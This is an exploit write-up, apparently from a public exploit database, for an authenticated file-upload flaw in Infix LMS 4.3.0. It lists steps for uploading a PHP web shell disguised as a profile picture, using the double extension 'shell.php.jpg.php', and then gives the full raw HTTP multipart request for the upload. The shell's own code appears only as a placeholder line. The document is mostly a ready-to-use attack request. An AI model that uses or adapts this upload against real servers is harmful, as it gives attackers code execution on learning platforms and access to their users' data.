# Exploit Title: Infix LMS - Learning Management System Shell Upload
# Exploit Author: th3d1gger
# Vendor Homepage: https://codecanyon.net
# Software Link: https://codecanyon.net/item/infixlms-learning-management-system/30626608
# Version: 4.3.0
# Tested on Ubuntu 18.04
sign up as teacher
go profile page and try to upload profile pic
with bypass name restriction on post request with burp or etc, upload b374k with burp or else
-------Request-----------
POST /profile-update HTTP/1.1
Host: localhost
Content-Length: 102201
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzjX6L4V6hVC4KIEC
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/profile-settings
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6Ijhpc05lZDlpcElOM1ZJZ0sxZDBXSUE9PSIsInZhbHVlIjoiVXRsZGNUNVlGWXY5RVpxTDVPK08wQW5TK05RMmUvRUVYKzQ0L0R0cHpyZmhmUFFHVm04ZWo2UVVUYkNuYm15c3RrcUlzQnJySnBWUHdHOGF6NkVneUNibDZxbEc1MytrWVRzVDVhaDNOYjN1ZGI1aHFEd3B2VXgrczZrUjEzR2QiLCJtYWMiOiJkNTZmNTU3YzU0NzJlNzJhMWIwMWNmMDhjMjI2ZTEzZjgwMDY0Mzk1ZjRiMWNhZjczZjhmNTQyN2NiNWZhMTdjIiwidGFnIjoiIn0%3D; infix_lms_session=eyJpdiI6InBSSllCaHF1UFlLS0dpT3RYaHRkRkE9PSIsInZhbHVlIjoiYlI3ak1obGtEa1hiV1hhOEF4V2Y1RjVTQmJHVjdvRmUrRmM0aE4wcElycHRCWnNVeG5LSVJBb3A1SDBXaU9mUzZTZ2EvSDZTZ00vRmZUbXZXZ2UzK3BsMlRJVDlJSThpRGc0SEEvZmh5cmtHSkhDWGNTOCtEcFdkaGEwdjhpOHAiLCJtYWMiOiI0NjJhMTRjNjIyMWQyM2MxZDliOGIzYjNmZmQ5YjA1YWVmYjUzZjhjMmI2MjAwNTFiZGNlN2RiMmUyMzhlZDFhIiwidGFnIjoiIn0%3D
Connection: close
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="_token"
0GtujIh7Yz86xnBbUyOboiarXjZ1msvhLnEv8Bft
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="name"
Teacher
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="email"
teacher@infixedu.com
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="phone"
01711223345
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="country"
19
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="city"
1374
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="zip"
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="currency"
112
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="language"
19
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="facebook"
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="twitter"
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="linkedin"
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="instagram"
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="short_details"
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book.
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="about"
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryzjX6L4V6hVC4KIEC
Content-Disposition: form-data; name="image"; filename="shell.php.jpg.php"
Content-Type: image
------b374kshell content-----
------WebKitFormBoundaryzjX6L4V6hVC4KIEC--